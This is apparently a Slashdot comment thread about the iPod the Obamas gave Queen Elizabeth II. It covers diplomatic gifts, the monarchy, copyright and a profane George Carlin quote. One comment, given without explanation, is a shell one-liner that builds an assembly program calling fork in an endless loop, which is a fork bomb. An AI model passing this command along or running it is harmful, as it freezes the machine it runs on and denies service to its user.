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Obamas Give Queen Elizabeth an iPod
Ponca City, We love you writes "What did the Obamas give Queen Elizabeth II on Wednesday when they arrived at Buckingham Palace? An Obama aide reported the queen was given an iPod loaded with video and photos of her 2007 trip to the United States, as well as songs and accessories. She also received a rare songbook signed by the composer Richard Rodgers. The gift issue had come up after Prime Minister Gordon Brown visited the White House last month. Mr. Brown gave Mr. Obama a pen holder carved from the timber of an anti-slave ship, receiving in return a DVD box set of American movies, igniting a torrent of criticism in the British press. According to news reports, the queen gave the Obamas a silver-framed signed photograph — a gift she gives to all visiting dignitaries."
How much does custom firmware that will change its function to a logic bomb in the mysterious future cost? Or is that a standard feature in the iPod firmware, available to the federal government at any time? ;)
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
There's a good article here
http://www.bbc.co.uk/history/british/abolition/royal_navy_article_01.shtml
It's actually an incredibly cool story.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The real owners are the big wealthy business interests that control things and make all the important decisions. Forget the politicians, theyre an irrelevancy. The politicians are put there to give you the idea that you have freedom of choice. You dont. You have no choice. You have owners. They own you.. They own everything. They own all the important land. They own and control the corporations. Theyve long since bought and paid for the Senate, the Congress, the statehouses, the city halls. Theyve got the judges in their back pockets. And they own all the big media companies, so that they control just about all of the news and information you hear. Theyve got you by the balls. They spend billions of dollars every year lobbying lobbying to get what they want. Well, we know what they want; they want more for themselves and less for everybody else.
But Ill tell you what they dont want. They dont want a population of citizens capable of critical thinking. They dont want well-informed, well-educated people capable of critical thinking. Theyre not interested in that. That doesnt help them. Thats against their interests. They dont want people who are smart enough to sit around the kitchen table and figure out how badly theyre getting fucked by a system that threw them overboard 30 fucking years ago.
You know what they want? Obedient workers people who are just smart enough to run the machines and do the paperwork but just dumb enough to passively accept all these increasingly shittier jobs with the lower pay, the longer hours, reduced benefits, the end of overtime and the vanishing pension that disappears the minute you go to collect it. And, now, theyre coming for your Social Security. They want your fucking retirement money. They want it back, so they can give it to their criminal friends on Wall Street. And you know something? Theyll get it. Theyll get it all, sooner or later, because they own this fucking place. Its a big club, and you aint in it. You and I are not in the big club.
-George Carlin
Hmmm. Is there a copyright issue here (assuming that all the music on the ipod was not open source)? Can I legally hook an ipod to my computer, load it with music from my iTunes, and give the ipod away? How is that any different from making copies of CDs that I own and giving those copies away?
Jealously hoarding mod points since 2007.
The queen regularly discusses political matters with the prime minister. The prime minister is not required to do anything she says, but by talking to her has access to a person who has talked to his predecessors and has therefore considerable knowledge. So the queen does have some informal power, and tapping into these conversations could in principle be interesting for a foreign power.
Well said, I have had the pleasure of meeting Her Majesty, and I can tell you she is no simpleton. She is an intelligent witty person, who actually has a "can do" mind.
People forget that in WW2, she drove ambulances carrying injured people to the Hospital. She is a trained mechanic, and does actually know more about cars and engines than most normal people.
She even has a blackberry, which she uses to keep in touch with her grandchildren. Talking of Grandchildren, Remember Princess Beatrice once said "she is lucky to have a cool grandmother"
She is a charming, intelligent and lovely person, and one of the things that makes me as a Brit, feel proud.
God Bless you maam.
Have a nice day!
You know.... Reading that article made me sick (even beyond the normal slashdotters aren't supposed to read the articles thing). We can't have positive foreign relations with Britain because the POTUS didn't give a government visitor fancy enough gifts? That is pretty unbelievably shallow and self absorbed media coverage even by American standards.
The only change I can believe in is what I find in my couch cushions.
dismissed the US-UK relationship as "nothing special"
Given that "special" was used as double-speak meaning things like one-sided extradition treaties, and us following the US into a dubious war, I'm fine with that...
While I am broadly anti the monarchy I have to agree with you that the Queen does do the British people proud. She is a fantastic ambasador for the country (when she leaves the hubby at home) and I believe that unlike just about everyone else in power in Britian she actually earns the money she gets. The rest of the royal family can go jump for all I care though. Charlie Boy is loosing the plot more and more each day and his two sons are spoilt little brats. When the Queen finally leaves office I think it will be the beginning of the end of the British monarchy.
I used to have a better sig but it broke.
Why is everyone ignoring the "rare songbook signed by the composer Richard Rodgers"? That could be worth far more than the iPod. Compared to that, the iPod would be a side gift. But that's what the media is focusing on because it's more sensational.
Yes and no. Take a tour of a presidential library sometime. It's facinating to see what gifts other nations gave our presidents. I recently visited the Clinton library, and the gifts there ranged from unique pieces of art, to one of the bikes Lance Armstong rode in the Tour. Some gifts had little monetary value, others were of immesuarbale worth. But they all personified either the person that gave the gift or the people that person represented. Bush 43 would frequently give handmade cowboy boots with big "W"s on them. Rarely are state gifts about the recipient - they are about the giver, and are also symbolic of the relationship between the two parties. So if you think about it, a box set of DVDs is actually quite symbolic, and not necessarily in a negative way, as is the iPod. What's more American than a portable music player these days? And don't say "a failing bank kept afloat with public funds" -- the UK already has those.
heh, take a glance over a British military forum someday. I *think* they're mostly joking, but it seems to be the general group fantasy to receive orders from The Palace to march on the House of Commons with bayonets fixed :) The current government is not popular in military circles, to put it mildly; if Gordon Brown says to the Queen "you and what army", she'd have a ready answer..
No I'm not being serious.
This sig all sigs devours
There's a fairly apocryphal tale of Kruschev visiting the US, and taken to a trade fair extolling the virtue of free enterprise. President Nixon supposedly provided a gift of a model of a fully stocked all-American General Store of pioneer vintage, explaining that his parents were shopkeepers and how such stores were the bedrock of American values. Kruschev's reply : "All Shop keepers are thieves !" Can't help but admire his comeback, whatever your politics. Wonder what he gave Nixon ?